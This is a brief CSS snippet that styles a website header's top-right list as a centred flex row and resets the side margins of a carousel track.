.header-top .top-right ul { display: flex; align-items: center; } .slick-track { margin-left: 0; margin-right: 0; }